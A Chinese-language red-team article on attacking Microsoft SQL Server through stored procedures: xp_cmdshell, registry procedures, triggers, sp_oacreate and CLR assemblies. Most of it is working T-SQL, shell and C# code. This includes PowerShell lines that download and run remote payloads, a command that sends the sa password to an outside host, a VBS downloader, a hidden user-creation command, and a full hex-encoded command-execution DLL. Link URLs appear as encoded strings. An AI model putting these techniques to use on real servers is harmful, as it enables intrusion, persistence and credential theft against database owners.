by Tahir 2021.3.5
一年一度的网络安全建设成果检验即将开始,在网络安全实战攻防演练这场最关键的战役中,办公应用系统、Web中间件,数据库等是攻击方主要的攻击对象,由于使用量最大,数据库往往会成为攻击者的首选目标之一。以微软SQL Server为例,除了常见的SQL注入漏洞,攻击方还会用一些“出其不意”的招式,将SQL Server原本的优势转变为攻击的突破口,比如在相应的权限下,攻击者可以利用SQL Server强大的存储过程执行不同的高级功能,通过增加SQL Server数据库用户,权限维持等方式,攻击用户数据库系统,下文将详述攻击方那些“不常见”的数据库攻击手段以及防守方的应对思路。
SQL Server是Microsoft开发的关系数据库管理系统(RDBMS)。 它是市场上最受欢迎的DBMS之一。SQL Server具有极其广泛的用途,它可以在各个方面使用,从存储个人博客的内容到存储客户数据等。
在2017版之前,SQL Server仅适用于Windows。 SQL Server 2017中最大的变化之一是,它现在可在Linux和Docker容器上使用。 这意味着可以在Mac上运行SQL Server。
SQL Server的可用版本
| 版本 | 描述 |
|---|---|
| Enterprise Edition | 此版本仅在Windows Server操作系统上运行。 适用于对速度和可用性具有较高优先级的大型生产数据库服务器。提供复制和联机分析过程(OLAP)服务等功能,这些服务可能会增加其安全风险。 |
| Standard Edition | 该版本与Enterprise Edition相似,但缺少虚拟接口系统局域网(VI SAN)支持和某些高级OLAP功能。 |
| Personal Edition | 它旨在用于工作站和便携式计算机,而不是服务器。 其设计最多支持五个数据库用户。 |
| Developer Edition | 面向开发人员版本,它与Enterprise Edition具有相似的功能,但并不意味着可以在真实的生产环境中运行。 |
SQL Server是一个客户端/服务器数据库管理系统(DBMS)。 这允许有许多不同的客户端同时,全部连接到SQL Server。 这些客户端的每一个都可以通过不同的工具进行连接。
例如,一个客户端可能使用如SQL Server Management Studio(SSMS)之类的图形工具,而另一客户端可能使用诸如sqlcmd之类的命令行工具。 同时,网站也可以从Web应用程序连接到SQL Server。 并且可能有许多其他客户端都使用自己的工具出于自己的目的进行连接。
客户端/服务器DBMS的主要优点是多个用户可以同时访问它,每个用户都有特定的访问级别。如果数据库管理员配置对应的权限,则任何连接到SQL Server的客户端将只能访问他们被允许访问的数据库。 他们只能执行允许执行的任务。 所有这些都从SQL Server本身内部进行控制。
SQL Server是在服务帐户的上下文中在操作系统上运行的一组Windows服务。每次安装SQL Server实例时,实际上都会安装一组Windows服务并具有唯一的名称。现有的SQL Server帐户类型:
Windows帐户和SQL Server登录名用于登录SQL Server。除非系统管理员,否则必须将SQL Server登录名映射到数据库用户才能访问数据。数据库用户是在数据库级别内单独创建的。
SQL Server的常见角色是:
表格数据流(Tabular Data Stream, TDS)协议是一种数据库服务器和客户端间交互的应用层协议,为微软SQL Server数据库和Sybase公司数据库产品所采用。
| TDS Version | Supported Products |
|---|---|
| 4.2 | Sybase SQL Server < 10 and Microsoft SQL Server 6.5 |
| 5.0 | Sybase SQL Server >= 10 |
| 7.0 | Microsoft SQL Server 7.0 |
| 7.1 | Microsoft SQL Server 2000 |
| 7.2 | Microsoft SQL Server 2005 |
详细的协议结构分析,请参考:6e4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3k6J5k6h3g2@1k6s2y4Q4x3X3g2U0N6Y4y4Q4x3X3g2K6L8%4g2J5j5$3g2X3L8%4u0Y4k6g2)9J5k6h3&6W2N6q4)9J5c8X3y4Z5k6h3y4C8L8%4g2@1i4K6u0r3k6Y4u0W2k6i4c8V1M7#2)9J5c8X3k6J5k6h3g2@1k6s2y4Q4x3V1k6V1L8$3y4Q4x3V1k6@1k6s2y4Q4x3X3g2Z5N6r3#2D9
下面先简单介绍SQL Server一些常用的攻击面的利用方式。
查询xp_cmdshell存储过程是否存在
xtype为对象类型,xtype='x',表示存储过程的对象类型为扩展存储过程。
1 | select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' |

TSQL代码判断是否开启xp_cmdshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | declare @RunningOnACluster char(1)declare @xp_cmdshell_available char(1)declare @result intset @xp_cmdshell_available='Y'set @result=0select @RunningOnACluster=case when convert(int, serverproperty('IsClustered')) = 1 then 'Y'else 'N'end if(0=(select value_in_use from sys.configurations where name='xp_cmdshell')) set @xp_cmdshell_available='N' if @RunningOnACluster='Y'begin if @xp_cmdshell_available='Y' select @result=1 if @xp_cmdshell_available='N' select @result=2endselect @result |

恢复xp_cmdshell存储过程
解决Error Message:未能找到存储过程 ‘master..xp_cmdshell’。
第一步先删除:
1 2 3 | drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell' |
第二步恢复:
1 2 | dbcc addextendedproc("sp_oacreate","odsole70.dll")dbcc addextendedproc("xp_cmdshell"," ") |

直接恢复,不管sp_addextendedproc是不是存在,需要自行上传xplog70.dll,恢复扩展存储过过程xp_cmdshell的语句:
1 | dbcc addextendedproc("xp_cmdshell","xplog70.dll") |
代码判断一系列存储过程是否存在,若不存在则恢复。
1 2 3 4 5 6 7 8 9 10 | if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]'))dbcc addextendedproc ('xp_cmdshell','xplog70.dll')if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_dirtree]'))dbcc addextendedproc ('xp_dirtree','xpstar.dll')if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_fixeddrives]'))dbcc addextendedproc ('xp_fixeddrives','xpstar.dll')if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_regwrite]'))dbcc addextendedproc ('xp_regwrite','xpstar.dll')if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_regread]'))dbcc addextendedproc ('xp_regread','xpstar.dll') |

开启xp_cmdshell存储过程
1 | EXEC sp_configure 'show advanced options', 1; RECONFIGURE; exec SP_CONFIGURE 'xp_cmdshell', 1; RECONFIGURE; |

关闭xp_cmdshell存储过程
关闭xp_cmdshell配置
1 | EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; |

删除xp_cmdshell的语句:
1 | exec sp_dropextendedproc 'xp_cmdshell'; |
删除xp_cmdshell过程,再添加xp_cmdshell过程,需要自行上传xplog70.dll恢复被删除的xp_cmdshell。
1 2 | drop procedure xp_cmdshell;exec sp_addextendedproc "xp_cmdshell", "xplog70.dll"; |
附录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'exec sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'exec sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'exec sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'exec sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'exec sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'exec sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'exec sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'exec sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'exec sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'exec sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'exec sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'exec sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'exec sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'exec sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'exec sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'exec sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'exec sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'exec sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'exec sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'exec sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll' |
xp_cmdshell执行系统命令
xp_cmdshell执行whoami命令
1 2 3 | exec master.dbo.xp_cmdshell 'whoami'exec master.dbo.xp_cmdshell "whoami"exec xp_cmdshell "whoami"; |

xp_cmdshell执行ipconfig/all命令
1 | exec master..xp_cmdshell 'ipconfig/all' |

查询操作系统和版本信息(分别对应中英文系统)
1 2 | exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"'exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"' |

通过xp_cmdshell执行wmic 获取系统信息
1 | exec master..xp_cmdshell 'wmic cpu get name,NumberOfCores,NumberOfLogicalProcessors/Format:List' |

调用reg query注册表键值判断RDP服务的端口号
1 | exec master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber' |

通过xp_cmdshell执行添加testuser1用户并且不输出结果
1 | exec master..xp_cmdshell 'Net user testuser1 passwd1 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add',NO_OUTPUT |

通过xp_cmdshell删除testuser1用户并且不输出结果
1 | EXEC master..xp_cmdshell 'net user testuser1/delete', NO_OUTPUT |

通过xp_cmdshell执行taskkill 杀死taskmgr.exe,taskmgr.exe用于任务管理器。它显示系统中正在运行的进程。该程序使用Ctrl+Alt+Del(一般是弹出Windows安全再点击“任务管理器”)或者Ctrl+Shift+Esc打开,这不是纯粹的系统程序,但是如果终止它,可能会导致不可知的问题。
1 | exec master.dbo.xp_cmdshell 'taskkill /f /im taskmgr.exe'; |
调用xp_cmdshell执行mkdir命令创建目录
1 | exec master..xp_cmdshell 'mkdir "C:\test\" ' |

通过xp_cmdshell执行dir命令
1 2 | exec master..xp_cmdshell 'dir c:\'exec xp_cmdshell 'dir c:\' |

通过xp_cmdshell删除文件
1 | exec master..xp_cmdshell 'del C:\test'; |
xp_cmdshell调用Powershell
通过xp_cmdshell调用powershell 下载16eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0S2N6#2)9J5k6h3N6A6N6r3S2#2j5Y4g2K6k6i4u0U0L8$3&6@1k6h3&6@1i4K6u0W2j5$3!0E0i4K6u0r3j5$3S2W2k6i4c8*7i4K6u0r3f1r3!0%4k6i4u0e0M7r3I4G2K9i4c8Q4x3V1k6E0j5i4y4@1k6i4u0Q4x3V1k6o6L8$3c8W2c8i4S2W2j5%4g2@1K9h3!0F1i4K6u0r3d9h3&6$3L8$3E0W2i4K6u0V1i4K6u0V1f1$3S2W2L8r3I4U0L8$3c8W2i4K6u0W2M7s2x3I4
1 | exec xp_cmdshell 'powershell -c "iex((new-object Net.WebClient).DownloadString(''d4cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0S2N6#2)9J5k6h3N6A6N6r3S2#2j5Y4g2K6k6i4u0U0L8$3&6@1k6h3&6@1i4K6u0W2j5$3!0E0i4K6u0r3j5$3S2W2k6i4c8*7i4K6u0r3f1r3!0%4k6i4u0e0M7r3I4G2K9i4c8Q4x3V1k6E0j5i4y4@1k6i4u0Q4x3V1k6o6L8$3c8W2c8i4S2W2j5%4g2@1K9h3!0F1i4K6u0r3d9h3&6$3L8$3E0W2i4K6u0V1i4K6u0V1f1$3S2W2L8r3I4U0L8$3c8W2i4K6u0W2M7s2x3I4i4K6t1%4'))"' |

调用xp_cmdshell执行echo CreateObject最后写入C:/ProgramData/vget.vbs文件
1 | exec master..xp_cmdshell 'echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 > C:/ProgramData/vget.vbs'; |

通过xp_cmdshell调用cmd.exe 执行powershell 调用OpenRead方法向数据库发送登录用户名sa密码
1 2 | exec xp_cmdshell 'powershell (new-object System.Net.WebClient).OpenRead(''d1aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3V1k6@1k6i4y4@1i4K6u0W2K9Y4y4H3i4K6y4r3k6r3q4@1j5g2)9K6c8o6p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5y4e0N6U0x3e0b7K6x3#2)9J5y4e0N6U0M7$3q4Q4x3U0f1%4j5@1c8T1x3e0t1K6y4o6f1$3i4K6t1%4')'`````` |

通过xp_cmdshell调用powershell下载test0.exe后并执行
1 | exec master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("658K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3V1k6@1k6i4y4@1x3q4)9J5k6h3g2^5k6b7`.`.","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""' |
SQL Server存在一系列的存储过程,可以对注册表进行增删改查。xp_regread、xp_regwrite、xp_regdeletvalue、xp_regdeletkey、xp_regaddmultistring等。
读注册表
1 2 | exec xp_regread 'HKEY_current_user','Control Panel\International','sCountry'exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH' |

枚举可用的注册表键值
1 | exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International' |

判读文件是否存在,第一列返回0表示文件不存在,返回1表示文件存在。当执行完无回显命令时,一般都将结果输入至文件中,利用此存储过程可以判断无回显命令是否执行成功。
判读文件是否存在
1 | exec xp_fileexist 'C:\\test\test.txt' |

列出当前目录
1 | exec xp_subdirs "C:\\" |

获取服务器名称
1 | exec xp_getnetname |

获取服务器信息
1 | exec xp_msver |

获取磁盘空间信息
1 | exec xp_fixeddrives |

附常用的一些危险的存储过程,可自查存储过程的功能和用法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | xp_cmdshellxp_dirtreexp_enumgroupsxp_fixeddrivesxp_loginconfigxp_enumerrorlogsxp_getfiledetailsSp_OACreateSp_OADestroySp_OAGetErrorInfoSp_OAGetPropertySp_OAMethodSp_OASetPropertySp_OAStopXp_regaddmultistringXp_regdeletekeyXp_regdeletevalueXp_regenumvaluesXp_regreadXp_regremovemultistringXp_regwritesp_makewebtask |
SQL Server 触发器用于执行指定动作之后执行sql语句,比如配合update触发sql语句。
首先创建一个test表,插入字段值。


创建一个名为test1的触发器,当test表执行update动作时,触发test1执行xp_cmdshell命令。
1 2 3 4 5 6 7 8 9 10 11 | set ANSI_NULLS ongoset QUOTED_IDENTIFIER ongocreate trigger [test1]on [test]AFTER UPDATE asbegin execute master..xp_cmdshell 'cmd.exe /c calc.exe'endgo |

执行下列更新test表操作,test1触发器触发。
1 | UPDATE test SET name = 'wangwu' WHERE LastName = 'zhangsan' |

SQL Server中的COM组件SP_OACREATE,执行系统命令,但是此利用方法无回显。
查看SP_OACREATE状态。
1 | select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' |

利用count(*)判断是否存在,,存在即返回1。
1 | select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' |

利用sp_configure存储过程,启用SP_OACREATE
1 2 | exec sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; |

利用SP_OACREATE执行系统命令
1 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami /all >C:\\test\test.txt' |

CLR微软官方把他称为公共语言运行时,从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。
官方链接:456K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3P5X3S2Q4x3X3c8U0L8W2)9J5c8Y4y4I4L8q4)9J5c8Y4u0W2L8r3q4@1K9h3!0F1j5h3I4Q4x3X3c8V1j5i4c8S2j5X3q4K6k6i4y4Q4x3V1k6U0L8s2u0Q4x3X3c8A6L8Y4c8W2k6%4u0S2N6r3W2G2L8W2)9J5c8X3y4G2L8h3#2G2L8W2)9J5k6r3I4S2L8X3N6#2j5h3N6W2i4K6u0V1M7Y4g2F1N6r3W2E0k6g2)9J5k6r3y4D9M7W2)9J5k6r3W2F1N6r3g2Y4M7X3q4@1K9h3!0F1i4K6u0V1M7s2u0G2k6%4u0S2L8h3#2A6L8X3N6Q4x3X3c8U0L8$3&6U0k6i4m8@1M7#2)9K6c8Y4k6A6k6i4N6Q4x3@1c8K6M7h3I4Q4x3X3c8K6k6i4u0$3k6i4u0Q4x3X3c8$3k6i4t1I4y4b7`.`.
在利用MSSQL服务实现命令执行的时候,通常的做法是利用xp_cmdshell存储过程在MSSQL进程的上下文中运行操作系统命令。如果要想利用这种技术运行自定义代码,通常需要使用LOLBINS,添加新的操作系统用户,或通过BCP向磁盘中写入二进制文件,这些方法的缺点是很容易被发现。CLR方式可以利用16进制文件流方式导入DLL文件,这样不需要文件落地。
利用VS创建MSSQL数据库项目

修改目标平台和勾选创建脚本

在SQL Server 2005中引入了从MSSQL运行.NET代码的功能,并在后续版本中叠加了许多保护措施,来限制代码可以访问的内容。在创建.Net程序集时,会给它们指定一个权限级别,例如:
1 2 3 | CREATE ASSEMBLY SQLCLRTest FROM 'C:\MyDBApp\SQLCLRTest.dll' WITH PERMISSION_SET = SAFE; |
其权限集有三个选项:
SAFE:基本上只将MSSQL数据集暴露给代码,其他大部分操作则都被禁止。
EXTERNAL_ACCESS:允许访问底层服务器上某些资源,但不应该允许直接执行代码。
UNSAFE:允许使用任何代码。
微软关于SQL CLR的详细文档可通过以下地址获得: f07K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8X3c8G2N6r3&6W2N6q4)9J5c8X3k6J5j5h3#2W2N6$3!0J5K9#2)9J5c8X3c8S2N6r3q4Q4x3V1k6S2k6r3!0F1k6i4c8Q4x3V1k6K6M7h3I4Q4x3V1k6A6L8Y4c8J5L8$3c8#2j5%4c8A6L8$3&6Q4x3X3c8@1L8#2)9J5k6s2y4I4L8q4)9J5k6s2y4W2M7Y4k6W2M7W2)9J5k6r3y4D9M7W2)9J5k6r3W2F1N6r3g2Y4M7X3q4@1K9h3!0F1
修改目标框架和权限级别为UNSAFE。

创建SQL CLR C# 存储过程

写入代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | using System;using System.Data;using System.Data.SqlClient;using System.Data.SqlTypes;using System.Diagnostics;using System.Text;using Microsoft.SqlServer.Server;public partial class StoredProcedures{ [Microsoft.SqlServer.Server.SqlProcedure] public static void ExecCommand (string cmd) { // 在此处放置代码 SqlContext.Pipe.Send("Command is running, please wait."); SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd)); } public static string RunCommand(string filename,string arguments) { var process = new Process(); process.StartInfo.FileName = filename; if (!string.IsNullOrEmpty(arguments)) { process.StartInfo.Arguments = arguments; } process.StartInfo.CreateNoWindow = true; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardError = true; process.StartInfo.RedirectStandardOutput = true; var stdOutput = new StringBuilder(); process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data); string stdError = null; try { process.Start(); process.BeginOutputReadLine(); stdError = process.StandardError.ReadToEnd(); process.WaitForExit(); } catch (Exception e) { SqlContext.Pipe.Send(e.Message); } if (process.ExitCode == 0) { SqlContext.Pipe.Send(stdOutput.ToString()); } else { var message = new StringBuilder(); if (!string.IsNullOrEmpty(stdError)) { message.AppendLine(stdError); } if (stdOutput.Length != 0) { message.AppendLine("Std output:"); message.AppendLine(stdOutput.ToString()); } SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message); } return stdOutput.ToString(); }} |

编译生成DLL文件。

运行权限级别为“SAFE”的代码,只需启用CLR就可以了;但是,要想运行权限级别为“EXTERNAL_ACCESS”或“UNSAFE”的代码,则需要需要修改相应的配置,以及DBA权限。2017年之前和之后的服务器版本,运行标记为“UNSAFE”的CLR所需步骤是不同的,下面分别进行介绍:
对于SQL Server 2017之前的版本
显示高级选项:
1 | sp_configure 'show advanced options',1;RECONFIGURE |

启用CLR:
1 | sp_configure 'clr enabled',1;RECONFIGURE; |

将存储.Net程序集的数据库配置为可信赖的。
1 | ALTER DATABASE master SET TRUSTWORTHY ON; |

SQL Server 2017及更高版本
对于SQL Server 2017及更高版本,则引入了严格的安全性,也必须禁用。另外,也可以根据提供的SHA512哈希值,针对单个程序集授予其UNSAFE权限,而不是将整个数据库都标记为可信的。对于SQL Server 2017及以上版本,如下所示:
显示高级选项:
1 | sp_configure 'show advanced options',1;RECONFIGURE |
启用CLR:
1 | sp_configure 'clr enabled',1;RECONFIGURE; |
将某程序集的SHA512哈希值添加到可信程序集列表中:
1 | sp_add_trusted_assembly @hash= <SHA512 of DLL>; |
从现在开始,程序集的创建和调用对于任何SQL Server版本来说,都是一样的。
通过十六进制字符串创建程序集——如果可以从十六进制字符串创建程序集,则意味着无需创建一个二进制文件并将其写入SQL服务器进程可访问的位置:
1 | CREATE ASSEMBLY clrassem from <HEX STRING> WITH PERMISSION_SET = UNSAFE; |
创建存储过程,以从程序集运行代码:
1 | CREATE PROCEDURE debugrun AS EXTERNAL NAME clrassem.StoredProcedures.runner; |
运行该存储过程:
1 | debugrun |
在代码运行后,可以删除存储过程、程序集以及受信任的哈希值,并将前面修改的安全设置恢复原值。下面显示了一个完成该任务的SQL查询示例
对于SQL Server 2017及更高版本:
1 | sp_drop_trusted_assembly @hash=<SHA512 of DLL> |
对于SQL Server 2017之前的版本:
1 | ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY OFF; |
对于所有版本:
1 2 3 4 | DROP PROCEDURE debugrun;DROP ASSEMBLY clrassem;sp_configure 'clr strict security',1;RECONFIGUREsp_configure 'show advanced options',0;RECONFIGURE |
现在可以利用16进制文件流方式导入DLL文件,这样不需要文件落地。

1 2 3 4 5 | CREATE ASSEMBLY [Database1] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006E587C5E0000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402400006002102400006003100E401000000003700000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000002700000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F300044617461626173653100496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468004461746162617365312E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000593C457501949B4EAC85A8875A6084DC000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006E587C5E00000000020000001C010000E42A0000E40C000052534453CEC8B2762812304EAEE7EF5EE4D9EC7901000000463A5C746F6F6C735F736F757263655C4461746162617365315C4461746162617365315C6F626A5C44656275675C4461746162617365312E706462000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000